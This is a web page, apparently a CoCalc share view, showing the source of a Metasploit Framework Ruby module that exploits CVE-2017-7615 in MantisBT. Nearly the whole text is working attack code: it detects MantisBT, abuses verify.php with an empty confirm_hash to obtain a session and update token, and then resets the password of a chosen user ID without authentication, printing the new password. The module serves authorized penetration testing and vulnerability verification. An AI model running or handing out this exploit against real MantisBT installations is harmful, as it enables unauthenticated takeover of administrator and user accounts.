CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/mantisbt_password_reset.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'MantisBT password reset',
14
'Description' => %q{
15
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'John (hyp3rlinx) Page', # initial discovery
20
'Julien (jvoisin) Voisin' # metasploit module
21
],
22
'References' => [
23
['CVE', '2017-7615'],
24
['EDB', '41890'],
25
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
26
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
27
],
28
'Platform' => ['win', 'linux'],
29
'DisclosureDate' => '2017-04-16'
30
)
31
)
32
33
register_options(
34
[
35
OptString.new('USERID', [ true, 'User id to reset', 1]),
36
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
37
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
38
]
39
)
40
end
41
42
def check
43
res = send_request_cgi({
44
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
45
'method' => 'GET'
46
})
47
48
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
49
vprint_status('MantisBT detected')
50
return Exploit::CheckCode::Detected
51
else
52
vprint_status('Not a MantisBT Instance!')
53
return Exploit::CheckCode::Safe
54
end
55
rescue Rex::ConnectionRefused
56
print_error('Connection refused by server.')
57
return Exploit::CheckCode::Safe
58
end
59
60
def run
61
res = send_request_cgi({
62
'uri' => normalize_uri(target_uri.path, '/verify.php'),
63
'method' => 'GET',
64
'vars_get' => {
65
'id' => datastore['USERID'],
66
'confirm_hash' => ''
67
}
68
})
69
70
if !res || !res.body
71
fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')
72
end
73
74
cookie = res.get_cookies
75
76
if cookie == '' || !(res.body.include? 'Your account information has been verified.')
77
fail_with(Failure::NoAccess, 'Authentication failed')
78
end
79
80
if datastore['PASSWORD'].blank?
81
password = Rex::Text.rand_text_alpha(8)
82
else
83
password = datastore['PASSWORD']
84
end
85
86
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
87
token = ::Regexp.last_match(1)
88
else
89
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
90
end
91
92
res = send_request_cgi({
93
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
94
'method' => 'POST',
95
'vars_post' => {
96
'verify_user_id' => datastore['USERID'],
97
'account_update_token' => ::Regexp.last_match(1),
98
'realname' => Rex::Text.rand_text_alpha(rand(8..12)),
99
'password' => password,
100
'password_confirm' => password
101
},
102
'cookie' => cookie
103
})
104
105
if res && res.body && res.body.include?('Password successfully updated')
106
print_good("Password successfully changed to '#{password}'.")
107
else
108
fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
109
end
110
end
111
end
112
113